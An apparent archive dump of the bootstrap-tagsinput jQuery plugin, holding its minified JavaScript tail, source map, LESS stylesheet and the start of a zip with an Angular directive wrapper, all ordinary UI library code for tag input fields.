j=f.options.itemValue(b),k=f.options.itemText(b),l=f.options.tagClass(b),m=f.options.itemTitle(b),n=a.grep(f.itemsArray,function(a){return f.options.itemValue(a)===j})[0];if(!n||f.options.allowDuplicates){if(!(f.items().toString().length+b.length+1>f.options.maxInputLength)){var o=a.Event("beforeItemAdd",{item:b,cancel:!1,options:d});if(f.$element.trigger(o),!o.cancel){f.itemsArray.push(b);var p=a('<span class="tag '+e(l)+(null!==m?'" title="'+m:"")+'">'+e(k)+'<span data-role="remove"></span></span>');p.data("item",b),f.findInputWrapper().before(p),p.after(" ");var q=a('option[value="'+encodeURIComponent(j)+'"]',f.$element).length||a('option[value="'+e(j)+'"]',f.$element).length;if(f.isSelect&&!q){var r=a("<option selected>"+e(k)+"</option>");r.data("item",b),r.attr("value",j),f.$element.append(r)}c||f.pushVal(),(f.options.maxTags===f.itemsArray.length||f.items().toString().length===f.options.maxInputLength)&&f.$container.addClass("bootstrap-tagsinput-max"),a(".typeahead, .twitter-typeahead",f.$container).length&&f.$input.typeahead("val",""),this.isInit?f.$element.trigger(a.Event("itemAddedOnInit",{item:b,options:d})):f.$element.trigger(a.Event("itemAdded",{item:b,options:d}))}}}else if(f.options.onTagExists){var s=a(".tag",f.$container).filter(function(){return a(this).data("item")===n});f.options.onTagExists(b,s)}}}},remove:function(b,c,d){var e=this;if(e.objectItems&&(b="object"==typeof b?a.grep(e.itemsArray,function(a){return e.options.itemValue(a)==e.options.itemValue(b)}):a.grep(e.itemsArray,function(a){return e.options.itemValue(a)==b}),b=b[b.length-1]),b){var f=a.Event("beforeItemRemove",{item:b,cancel:!1,options:d});if(e.$element.trigger(f),f.cancel)return;a(".tag",e.$container).filter(function(){return a(this).data("item")===b}).remove(),a("option",e.$element).filter(function(){return a(this).data("item")===b}).remove(),-1!==a.inArray(b,e.itemsArray)&&e.itemsArray.splice(a.inArray(b,e.itemsArray),1)}c||e.pushVal(),e.options.maxTags>e.itemsArray.length&&e.$container.removeClass("bootstrap-tagsinput-max"),e.$element.trigger(a.Event("itemRemoved",{item:b,options:d}))},removeAll:function(){var b=this;for(a(".tag",b.$container).remove(),a("option",b.$element).remove();b.itemsArray.length>0;)b.itemsArray.pop();b.pushVal()},refresh:function(){var b=this;a(".tag",b.$container).each(function(){var c=a(this),d=c.data("item"),f=b.options.itemValue(d),g=b.options.itemText(d),h=b.options.tagClass(d);if(c.attr("class",null),c.addClass("tag "+e(h)),c.contents().filter(function(){return 3==this.nodeType})[0].nodeValue=e(g),b.isSelect){var i=a("option",b.$element).filter(function(){return a(this).data("item")===d});i.attr("value",f)}})},items:function(){return this.itemsArray},pushVal:function(){var b=this,c=a.map(b.items(),function(a){return b.options.itemValue(a).toString()});b.$element.val(c,!0).trigger("change")},build:function(b){var e=this;if(e.options=a.extend({},h,b),e.objectItems&&(e.options.freeInput=!1),c(e.options,"itemValue"),c(e.options,"itemText"),d(e.options,"tagClass"),e.options.typeahead){var i=e.options.typeahead||{};d(i,"source"),e.$input.typeahead(a.extend({},i,{source:function(b,c){function d(a){for(var b=[],d=0;d<a.length;d++){var g=e.options.itemText(a[d]);f[g]=a[d],b.push(g)}c(b)}this.map={};var f=this.map,g=i.source(b);a.isFunction(g.success)?g.success(d):a.isFunction(g.then)?g.then(d):a.when(g).then(d)},updater:function(a){return e.add(this.map[a]),this.map[a]},matcher:function(a){return-1!==a.toLowerCase().indexOf(this.query.trim().toLowerCase())},sorter:function(a){return a.sort()},highlighter:function(a){var b=new RegExp("("+this.query+")","gi");return a.replace(b,"<strong>$1</strong>")}}))}if(e.options.typeaheadjs){var j=null,k={},l=e.options.typeaheadjs;a.isArray(l)?(j=l[0],k=l[1]):k=l,e.$input.typeahead(j,k).on("typeahead:selected",a.proxy(function(a,b){k.valueKey?e.add(b[k.valueKey]):e.add(b),e.$input.typeahead("val","")},e))}e.$container.on("click",a.proxy(function(a){e.$element.attr("disabled")||e.$input.removeAttr("disabled"),e.$input.focus()},e)),e.options.addOnBlur&&e.options.freeInput&&e.$input.on("focusout",a.proxy(function(b){0===a(".typeahead, .twitter-typeahead",e.$container).length&&(e.add(e.$input.val()),e.$input.val(""))},e)),e.$container.on("keydown","input",a.proxy(function(b){var c=a(b.target),d=e.findInputWrapper();if(e.$element.attr("disabled"))return void e.$input.attr("disabled","disabled");switch(b.which){case 8:if(0===f(c[0])){var g=d.prev();g.length&&e.remove(g.data("item"))}break;case 46:if(0===f(c[0])){var h=d.next();h.length&&e.remove(h.data("item"))}break;case 37:var i=d.prev();0===c.val().length&&i[0]&&(i.before(d),c.focus());break;case 39:var j=d.next();0===c.val().length&&j[0]&&(j.after(d),c.focus())}var k=c.val().length;Math.ceil(k/5);c.attr("size",Math.max(this.inputSize,c.val().length))},e)),e.$container.on("keypress","input",a.proxy(function(b){var c=a(b.target);if(e.$element.attr("disabled"))return void e.$input.attr("disabled","disabled");var d=c.val(),f=e.options.maxChars&&d.length>=e.options.maxChars;e.options.freeInput&&(g(b,e.options.confirmKeys)||f)&&(0!==d.length&&(e.add(f?d.substr(0,e.options.maxChars):d),c.val("")),e.options.cancelConfirmKeysOnEmpty===!1&&b.preventDefault());var h=c.val().length;Math.ceil(h/5);c.attr("size",Math.max(this.inputSize,c.val().length))},e)),e.$container.on("click","[data-role=remove]",a.proxy(function(b){e.$element.attr("disabled")||e.remove(a(b.target).closest(".tag").data("item"))},e)),e.options.itemValue===h.itemValue&&("INPUT"===e.$element[0].tagName?e.add(e.$element.val()):a("option",e.$element).each(function(){e.add(a(this).attr("value"),!0)}))},destroy:function(){var a=this;a.$container.off("keypress","input"),a.$container.off("click","[role=remove]"),a.$container.remove(),a.$element.removeData("tagsinput"),a.$element.show()},focus:function(){this.$input.focus()},input:function(){return this.$input},findInputWrapper:function(){for(var b=this.$input[0],c=this.$container[0];b&&b.parentNode!==c;)b=b.parentNode;return a(b)}},a.fn.tagsinput=function(c,d,e){var f=[];return this.each(function(){var g=a(this).data("tagsinput");if(g)if(c||d){if(void 0!==g[c]){if(3===g[c].length&&void 0!==e)var h=g[c](d,null,e);else var h=g[c](d);void 0!==h&&f.push(h)}}else f.push(g);else g=new b(this,c),a(this).data("tagsinput",g),f.push(g),"SELECT"===this.tagName&&a("option",a(this)).attr("selected","selected"),a(this).val(a(this).val())}),"string"==typeof c?f.length>1?f:f[0]:f},a.fn.tagsinput.Constructor=b;var i=a("<div />");a(function(){a("input[data-role=tagsinput], select[multiple][data-role=tagsinput]").tagsinput()})}(window.jQuery);
//# sourceMappingURL=bootstrap-tagsinput.min.js.mapbootstrap-tagsinput.min.js.map000064400000030003151677260650012504 0ustar00{"version":3,"sources":["../src/bootstrap-tagsinput.js"],"names":["$","TagsInput","element","options","this","isInit","itemsArray","$element","hide","isSelect","tagName","multiple","hasAttribute","objectItems","itemValue","placeholderText","attr","inputSize","Math","max","length","$container","$input","appendTo","before","build","makeOptionItemFunction","key","propertyName","item","makeOptionFunction","value","htmlEncode","htmlEncodeContainer","text","html","doGetCaretPosition","oField","iCaretPos","document","selection","focus","oSel","createRange","moveStart","selectionStart","keyCombinationInList","keyPressEvent","lookupList","found","each","index","keyCombination","which","alt","hasOwnProperty","altKey","shift","shiftKey","ctrl","ctrlKey","defaultOptions","tagClass","toString","itemText","itemTitle","freeInput","addOnBlur","maxTags","undefined","maxChars","confirmKeys","delimiter","delimiterRegex","cancelConfirmKeysOnEmpty","onTagExists","$tag","fadeIn","trimValue","allowDuplicates","prototype","constructor","add","dontPushVal","self","trim","match","remove","items","split","i","pushVal","existing","grep","maxInputLength","beforeItemAddEvent","Event","cancel","trigger","push","data","findInputWrapper","after","optionExists","encodeURIComponent","$option","append","addClass","typeahead","$existingTag","filter","other","beforeItemRemoveEvent","inArray","splice","removeClass","removeAll","pop","refresh","contents","nodeType","nodeValue","option","val","map","extend","source","query","process","processItems","texts","isFunction","success","then","when","updater","matcher","toLowerCase","indexOf","sorter","sort","highlighter","regex","RegExp","replace","typeaheadjs","typeaheadConfig","typeaheadDatasets","isArray","on","proxy","obj","datum","valueKey","event","removeAttr","target","$inputWrapper","prev","next","$prevTag","$nextTag","textLength","ceil","maxLengthReached","substr","preventDefault","closest","destroy","off","removeData","show","input","elt","container","parentNode","fn","tagsinput","arg1","arg2","arg3","results","retVal","Constructor","window","jQuery"],"mappings":"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","file":"bootstrap-tagsinput.min.js"}bootstrap-tagsinput.less000064400000002004151677260650011500 0ustar00.bootstrap-tagsinput {
  background-color: #fff;
  border: 1px solid #ccc;
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
  display: inline-block;
  padding: 4px 6px;
  margin-bottom: 10px;
  color: #555;
  vertical-align: middle;
  border-radius: 4px;
  max-width: 100%;
  line-height: 22px;
  cursor: text;

  input {
    border: none;
    box-shadow: none;
    outline: none;
    background-color: transparent;
    padding: 0;
    margin: 0;
    width: auto !important;
    max-width: inherit;

    &:focus {
      border: none;
      box-shadow: none;
    }
  }

  .tag {
    margin-right: 2px;
    color: white;

    [data-role="remove"] {
      margin-left:8px;
      cursor:pointer;
      &:after{
        content: "x";
        padding:0px 2px;
      }
      &:hover {
        box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
        &:active {
          box-shadow: inset 0 3px 5px rgba(0,0,0,0.125);
        }
      }
    }
  }
}
bootstrap-tagsinput.zip000064400000152250151677260650011345 0ustar00PK
�jGdist/PK
�jGv��gg#dist/bootstrap-tagsinput-angular.jsangular.module('bootstrap-tagsinput', [])
.directive('bootstrapTagsinput', [function() {

  function getItemProperty(scope, property) {
    if (!property)
      return undefined;

    if (angular.isFunction(scope.$parent[property]))
      return scope.$parent[property];

    return function(item) {
      return item[property];
    };
  }

  return {
    restrict: 'EA',
    scope: {
      model: '=ngModel'
    },
    template: '<select multiple></select>',
    replace: false,
    link: function(scope, element, attrs) {
      $(function() {
        if (!angular.isArray(scope.model))
          scope.model = [];

        var select = $('select', element);
        var typeaheadSourceArray = attrs.typeaheadSource ? attrs.typeaheadSource.split('.') : null;
